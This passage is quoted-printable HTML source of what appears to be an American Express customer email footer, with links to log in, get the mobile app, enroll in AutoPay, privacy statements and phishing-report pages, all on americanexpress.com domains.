<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; BORDER-COLLAPSE: colla=
pse; PADDING-BOTTOM: 40px; DIRECTION: ltr; TEXT-ALIGN: center; PADDING-TOP:=
 40px; PADDING-LEFT: 30px; PADDING-RIGHT: 30px">
<DIV class=3D"v1mj-column-per-33-333333333333336 v1mj-outlook-group-fix v1p=
ad-0 v1pad-4-b" style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; MAX-WIDTH:=
 33.33%; WIDTH: 186px; VERTICAL-ALIGN: top; DIRECTION: ltr; TEXT-ALIGN: lef=
t; DISPLAY: inline-block">
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" cellSpac=
ing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; VERTICAL-ALIGN: top; BORDER-COLLAPSE: =
collapse; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 10px; PADDIN=
G-RIGHT: 10px">
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" cellSpac=
ing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; BORDER-COLLAPSE: colla=
pse; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; PADDING-RIGH=
T: 0px" align=3Dcenter>
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse; BORDER-S=
PACING: 0px" cellSpacing=3D0 cellPadding=3D0 border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; WIDTH: 48px; BORDER-COLLAPSE: collapse=
"><A style=3D"BOX-SIZING: border-box; TEXT-DECORATION: none; COLOR: rgb(0,1=
72,255); BACKGROUND-COLOR: transparent" href=3D"https://www.americanexpress=
=2Ecom/" rel=3Dnoreferrer target=3D_blank>
<IMG style=3D"BOX-SIZING: border-box; FONT-SIZE: 13px; TEXT-DECORATION: non=
e; BORDER-TOP: 0px; HEIGHT: 48px; BORDER-RIGHT: 0px; WIDTH: 48px; VERTICAL-=
ALIGN: middle; BORDER-BOTTOM: 0px; OUTLINE-WIDTH: medium; OUTLINE-STYLE: no=
ne; BORDER-LEFT: 0px; DISPLAY: block; OUTLINE-COLOR: invert; LINE-HEIGHT: 1=
3px" alt=3D"Alternate Text" src=3D"https://cdaas.americanexpress.com/akamai=
/axp/comms/icons/desktop-blue.png" width=3D48 height=3D48></A></TD></TR></T=
BODY></TABLE></TD></TR>
<TR style=3D"BOX-SIZING: border-box">
<TD class=3Dv1pad-4-lr style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; BOR=
DER-COLLAPSE: collapse; PADDING-BOTTOM: 0px; PADDING-TOP: 15px; PADDING-LEF=
T: 0px; PADDING-RIGHT: 0px" align=3Dcenter>
<DIV style=3D"BOX-SIZING: border-box; FONT-SIZE: 15px; FONT-FAMILY: Helveti=
ca, Arial, Roboto, sans-serif; FONT-WEIGHT: 400; COLOR: rgb(0,111,207); TEX=
T-ALIGN: center; LINE-HEIGHT: 22px"><A style=3D"BOX-SIZING: border-box; TEX=
T-DECORATION: none; COLOR: rgb(0,111,207); BACKGROUND-COLOR: transparent" h=
ref=3D"https://www.americanexpress.com/" rel=3Dnoreferrer target=3D_blank>L=
og in Online</A></DIV></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><=
/DIV>
<DIV class=3D"v1mj-column-per-33-333333333333336 v1mj-outlook-group-fix v1p=
ad-0 v1pad-4-b" style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; MAX-WIDTH:=
 33.33%; WIDTH: 186px; VERTICAL-ALIGN: top; DIRECTION: ltr; TEXT-ALIGN: lef=
t; DISPLAY: inline-block">
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" cellSpac=
ing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; VERTICAL-ALIGN: top; BORDER-COLLAPSE: =
collapse; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 10px; PADDIN=
G-RIGHT: 10px">
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" cellSpac=
ing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; BORDER-COLLAPSE: colla=
pse; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; PADDING-RIGH=
T: 0px" align=3Dcenter>
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse; BORDER-S=
PACING: 0px" cellSpacing=3D0 cellPadding=3D0 border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; WIDTH: 48px; BORDER-COLLAPSE: collapse=
"><A style=3D"BOX-SIZING: border-box; TEXT-DECORATION: none; COLOR: rgb(0,1=
72,255); BACKGROUND-COLOR: transparent" href=3D"https://www.americanexpress=
=2Ecom/us/customer-service/digital/amex-mobile-app.html" rel=3Dnoreferrer t=
arget=3D_blank>
<IMG style=3D"BOX-SIZING: border-box; FONT-SIZE: 13px; TEXT-DECORATION: non=
e; BORDER-TOP: 0px; HEIGHT: 48px; BORDER-RIGHT: 0px; WIDTH: 48px; VERTICAL-=
ALIGN: middle; BORDER-BOTTOM: 0px; OUTLINE-WIDTH: medium; OUTLINE-STYLE: no=
ne; BORDER-LEFT: 0px; DISPLAY: block; OUTLINE-COLOR: invert; LINE-HEIGHT: 1=
3px" alt=3D"Alternate Text" src=3D"https://cdaas.americanexpress.com/akamai=
/axp/comms/icons/Mobile.png" width=3D48 height=3D48></A></TD></TR></TBODY><=
/TABLE></TD></TR>
<TR style=3D"BOX-SIZING: border-box">
<TD class=3Dv1pad-4-lr style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; BOR=
DER-COLLAPSE: collapse; PADDING-BOTTOM: 0px; PADDING-TOP: 15px; PADDING-LEF=
T: 0px; PADDING-RIGHT: 0px" align=3Dcenter>
<DIV style=3D"BOX-SIZING: border-box; FONT-SIZE: 15px; FONT-FAMILY: Helveti=
ca, Arial, Roboto, sans-serif; FONT-WEIGHT: 400; COLOR: rgb(0,111,207); TEX=
T-ALIGN: center; LINE-HEIGHT: 22px"><A style=3D"BOX-SIZING: border-box; TEX=
T-DECORATION: none; COLOR: rgb(0,111,207); BACKGROUND-COLOR: transparent" h=
ref=3D"https://www.americanexpress.com/us/customer-service/digital/amex-mob=
ile-app.html" rel=3Dnoreferrer target=3D_blank>Get the Amex App</A></DIV></=
TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></DIV>
<DIV class=3D"v1mj-column-per-33-333333333333336 v1mj-outlook-group-fix v1p=
ad-0" style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; MAX-WIDTH: 33.33%; W=
IDTH: 186px; VERTICAL-ALIGN: top; DIRECTION: ltr; TEXT-ALIGN: left; DISPLAY=
: inline-block">
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" cellSpac=
ing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; VERTICAL-ALIGN: top; BORDER-COLLAPSE: =
collapse; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 10px; PADDIN=
G-RIGHT: 10px">
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" cellSpac=
ing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; BORDER-COLLAPSE: colla=
pse; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; PADDING-RIGH=
T: 0px" align=3Dcenter>
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse; BORDER-S=
PACING: 0px" cellSpacing=3D0 cellPadding=3D0 border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; WIDTH: 48px; BORDER-COLLAPSE: collapse=
"><A style=3D"BOX-SIZING: border-box; TEXT-DECORATION: none; COLOR: rgb(0,1=
72,255); BACKGROUND-COLOR: transparent" href=3D"https://global.americanexpr=
ess.com/direct-debits" rel=3Dnoreferrer target=3D_blank>
<IMG style=3D"BOX-SIZING: border-box; FONT-SIZE: 13px; TEXT-DECORATION: non=
e; BORDER-TOP: 0px; HEIGHT: 48px; BORDER-RIGHT: 0px; WIDTH: 48px; VERTICAL-=
ALIGN: middle; BORDER-BOTTOM: 0px; OUTLINE-WIDTH: medium; OUTLINE-STYLE: no=
ne; BORDER-LEFT: 0px; DISPLAY: block; OUTLINE-COLOR: invert; LINE-HEIGHT: 1=
3px" alt=3D"Alternate Text" src=3D"https://cdaas.americanexpress.com/akamai=
/axp/comms/icons/autopay-blue.png" width=3D48 height=3D48></A></TD></TR></T=
BODY></TABLE></TD></TR>
<TR style=3D"BOX-SIZING: border-box">
<TD class=3Dv1pad-4-lr style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; BOR=
DER-COLLAPSE: collapse; PADDING-BOTTOM: 0px; PADDING-TOP: 15px; PADDING-LEF=
T: 0px; PADDING-RIGHT: 0px" align=3Dcenter>
<DIV style=3D"BOX-SIZING: border-box; FONT-SIZE: 15px; FONT-FAMILY: Helveti=
ca, Arial, Roboto, sans-serif; FONT-WEIGHT: 400; COLOR: rgb(0,111,207); TEX=
T-ALIGN: center; LINE-HEIGHT: 22px"><A style=3D"BOX-SIZING: border-box; TEX=
T-DECORATION: none; COLOR: rgb(0,111,207); BACKGROUND-COLOR: transparent" h=
ref=3D"https://global.americanexpress.com/direct-debits" rel=3Dnoreferrer t=
arget=3D_blank>Enroll in AutoPay</A></DIV></TD></TR></TBODY></TABLE></TD></=
TR></TBODY></TABLE></DIV></TD></TR></TBODY></TABLE></DIV>
<DIV style=3D"BOX-SIZING: border-box; MAX-WIDTH: 620px; BACKGROUND: rgb(0,2=
3,90); MARGIN: 0px auto">
<TABLE style=3D"BOX-SIZING: border-box; WIDTH: 620px; BACKGROUND: rgb(0,23,=
90); BORDER-COLLAPSE: collapse" cellSpacing=3D0 cellPadding=3D0 align=3Dcen=
ter border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; BORDER-COLLAPSE: colla=
pse; PADDING-BOTTOM: 20px; DIRECTION: ltr; TEXT-ALIGN: center; PADDING-TOP:=
 20px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px">
<DIV class=3D"v1mj-column-per-100 v1mj-outlook-group-fix" style=3D"BOX-SIZI=
NG: border-box; FONT-SIZE: 0px; MAX-WIDTH: 100%; WIDTH: 620px; VERTICAL-ALI=
GN: top; DIRECTION: ltr; TEXT-ALIGN: left; DISPLAY: inline-block">
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" cellSpac=
ing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; VERTICAL-ALIGN: top; BORDER-COLLAPSE: =
collapse; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; PADDING=
-RIGHT: 0px">
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" cellSpac=
ing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD class=3D"v1image-alt-text-white v1dls-tagline-blue-sm" style=3D"BOX-SIZ=
ING: border-box; FONT-SIZE: 0px; BORDER-COLLAPSE: collapse; PADDING-BOTTOM:=
 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px" align=3Dcent=
er>
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse; BORDER-S=
PACING: 0px" cellSpacing=3D0 cellPadding=3D0 border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; WIDTH: 240px; BORDER-COLLAPSE: collaps=
e">
<IMG style=3D"BOX-SIZING: border-box; FONT-SIZE: 13px; TEXT-DECORATION: non=
e; BORDER-TOP: 0px; HEIGHT: auto; BORDER-RIGHT: 0px; WIDTH: 240px; VERTICAL=
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 medium; OUTLINE-STYLE: none; BORDER-LEFT: 0px; DISPLAY: block; OUTLINE-COL=
OR: invert; LINE-HEIGHT: 13px" alt=3D"Alternate Text" src=3D"https://cdaas.=
americanexpress.com/akamai/axp/comms/logos/ddbwi-footer-tagline.png" width=
=3D240></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
</TD></TR></TBODY></TABLE></DIV></TD></TR></TBODY></TABLE></DIV>
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MARGIN: 0px auto">
<TABLE style=3D"BOX-SIZING: border-box; WIDTH: 620px; BORDER-COLLAPSE: coll=
apse" cellSpacing=3D0 cellPadding=3D0 align=3Dcenter border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; BORDER-COLLAPSE: colla=
pse; PADDING-BOTTOM: 0px; DIRECTION: ltr; TEXT-ALIGN: center; PADDING-TOP: =
0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px">
<DIV class=3D"v1mj-column-per-33 v1mj-outlook-group-fix v1text-align-center=
 v1nav-bar-border-b" style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; MAX-W=
IDTH: 33%; WIDTH: 204px; VERTICAL-ALIGN: middle; DIRECTION: ltr; TEXT-ALIGN=
: left; DISPLAY: inline-block">
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" cellSpac=
ing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
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<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; VERTICAL-ALIGN: middle; BORDER-COLLAPS=
E: collapse; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; PADD=
ING-RIGHT: 0px">
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" cellSpac=
ing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
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<TR style=3D"BOX-SIZING: border-box">
<TD class=3D"v1pad-4-lr v1pad-2-tb v1text-align-center" style=3D"BOX-SIZING=
: border-box; FONT-SIZE: 0px; BORDER-COLLAPSE: collapse; PADDING-BOTTOM: 20=
px; PADDING-TOP: 20px; PADDING-LEFT: 40px; PADDING-RIGHT: 20px" align=3Dcen=
ter>
<DIV style=3D"BOX-SIZING: border-box; FONT-SIZE: 15px; FONT-FAMILY: Helveti=
ca, Arial, Roboto, sans-serif; FONT-WEIGHT: 400; COLOR: rgb(0,0,0); TEXT-AL=
IGN: center; LINE-HEIGHT: 22px"><A style=3D"BOX-SIZING: border-box; TEXT-DE=
CORATION: none; COLOR: rgb(0,111,207); BACKGROUND-COLOR: transparent" href=
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y-disclosures/" rel=3Dnoreferrer target=3D_blank>Privacy statements</A></DI=
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IDTH: 33%; WIDTH: 204px; VERTICAL-ALIGN: middle; DIRECTION: ltr; TEXT-ALIGN=
: left; DISPLAY: inline-block">
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" cellSpac=
ing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; VERTICAL-ALIGN: middle; BORDER-COLLAPS=
E: collapse; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; PADD=
ING-RIGHT: 0px">
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" cellSpac=
ing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD class=3D"v1pad-4-lr v1pad-2-tb v1text-align-center" style=3D"BOX-SIZING=
: border-box; FONT-SIZE: 0px; BORDER-COLLAPSE: collapse; PADDING-BOTTOM: 20=
px; PADDING-TOP: 20px; PADDING-LEFT: 20px; PADDING-RIGHT: 20px" align=3Dcen=
ter>
<DIV style=3D"BOX-SIZING: border-box; FONT-SIZE: 15px; FONT-FAMILY: Helveti=
ca, Arial, Roboto, sans-serif; FONT-WEIGHT: 400; COLOR: rgb(0,0,0); TEXT-AL=
IGN: center; LINE-HEIGHT: 22px"><A style=3D"BOX-SIZING: border-box; TEXT-DE=
CORATION: none; COLOR: rgb(0,111,207); BACKGROUND-COLOR: transparent" href=
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IDTH: 34%; WIDTH: 210px; VERTICAL-ALIGN: middle; DIRECTION: ltr; TEXT-ALIGN=
: left; DISPLAY: inline-block">
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" cellSpac=
ing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
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<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; VERTICAL-ALIGN: middle; BORDER-COLLAPS=
E: collapse; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; PADD=
ING-RIGHT: 0px">
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" cellSpac=
ing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
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<TD class=3D"v1pad-4-lr v1pad-2-tb v1text-align-center" style=3D"BOX-SIZING=
: border-box; FONT-SIZE: 0px; BORDER-COLLAPSE: collapse; PADDING-BOTTOM: 20=
px; PADDING-TOP: 20px; PADDING-LEFT: 20px; PADDING-RIGHT: 20px" align=3Dcen=
ter>
<DIV style=3D"BOX-SIZING: border-box; FONT-SIZE: 15px; FONT-FAMILY: Helveti=
ca, Arial, Roboto, sans-serif; FONT-WEIGHT: 400; COLOR: rgb(0,0,0); TEXT-AL=
IGN: center; LINE-HEIGHT: 22px"><A style=3D"BOX-SIZING: border-box; TEXT-DE=
CORATION: none; COLOR: rgb(0,111,207); BACKGROUND-COLOR: transparent" href=
=3D"https://americanexpress.com/email" rel=3Dnoreferrer target=3D_blank>Upd=
ate your email address</A></DIV></TD></TR></TBODY></TABLE></TD></TR></TBODY=
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<TABLE style=3D"BOX-SIZING: border-box; WIDTH: 620px; BACKGROUND: rgb(217,2=
17,214); BORDER-COLLAPSE: collapse" cellSpacing=3D0 cellPadding=3D0 align=
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<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; BORDER-COLLAPSE: colla=
pse; PADDING-BOTTOM: 10px; DIRECTION: ltr; TEXT-ALIGN: center; PADDING-TOP:=
 10px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px">
<DIV class=3D"v1mj-column-per-100 v1mj-outlook-group-fix" style=3D"BOX-SIZI=
NG: border-box; FONT-SIZE: 0px; MAX-WIDTH: 100%; WIDTH: 620px; VERTICAL-ALI=
GN: top; DIRECTION: ltr; TEXT-ALIGN: left; DISPLAY: inline-block">
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" cellSpac=
ing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; VERTICAL-ALIGN: top; BORDER-COLLAPSE: =
collapse; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; PADDING=
-RIGHT: 0px">
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" cellSpac=
ing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; BORDER-COLLAPSE: colla=
pse; PADDING-BOTTOM: 10px; PADDING-TOP: 0px; PADDING-LEFT: 0px; PADDING-RIG=
HT: 0px" align=3Dleft>
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ica Neue", Roboto, Helvetica, sans-serif; FONT-WEIGHT: 400; COLOR: rgb(83,8=
6,90); TEXT-ALIGN: left; LINE-HEIGHT: 20px'>
<P style=3D"BOX-SIZING: border-box; MARGIN: 0px; DISPLAY: block">Your accou=
nt information is included above to help you recognize this as a customer c=
are e-mail from American Express. To learn more about e-mail security or re=
port a suspicious e-mail, please visit us at<SPAN>&nbsp;</SPAN>
 <A style=3D'BOX-SIZING: border-box; FONT-SIZE: 13px; TEXT-DECORATION: unde=
rline; FONT-FAMILY: "Helvetica Neue", Roboto, Helvetica, sans-serif; FONT-W=
EIGHT: 400; COLOR: rgb(83,86,90); LINE-HEIGHT: 20px; BACKGROUND-COLOR: tran=
sparent' href=3D"https://www.americanexpress.com/phishing" rel=3Dnoreferrer=
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rline; FONT-FAMILY: "Helvetica Neue", Roboto, Helvetica, sans-serif; FONT-W=
EIGHT: 400; COLOR: rgb(83,86,90); LINE-HEIGHT: 20px; BACKGROUND-COLOR: tran=
sparent' href=3D"https://global.americanexpress.com/contact-us" rel=3Dnoref=
errer target=3D_blank>Customer Care</A>.</P></DIV></TD></TR>
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pse; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; PADDING-RIGH=
T: 0px" align=3Dleft>
<DIV style=3D'BOX-SIZING: border-box; FONT-SIZE: 13px; FONT-FAMILY: "Helvet=
ica Neue", Roboto, Helvetica, sans-serif; FONT-WEIGHT: 400; COLOR: rgb(83,8=
6,90); TEXT-ALIGN: left; LINE-HEIGHT: 20px'>
<P style=3D"BOX-SIZING: border-box; MARGIN: 0px; DISPLAY: block">&copy; 202=
5 American Express. All rights reserved.</P></DIV></TD></TR>
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pse; PADDING-BOTTOM: 0px; PADDING-TOP: 10px; PADDING-LEFT: 0px; PADDING-RIG=
HT: 0px" align=3Dleft>
<DIV style=3D'BOX-SIZING: border-box; FONT-SIZE: 13px; FONT-FAMILY: "Helvet=
ica Neue", Roboto, Helvetica, sans-serif; FONT-WEIGHT: 400; COLOR: rgb(83,8=
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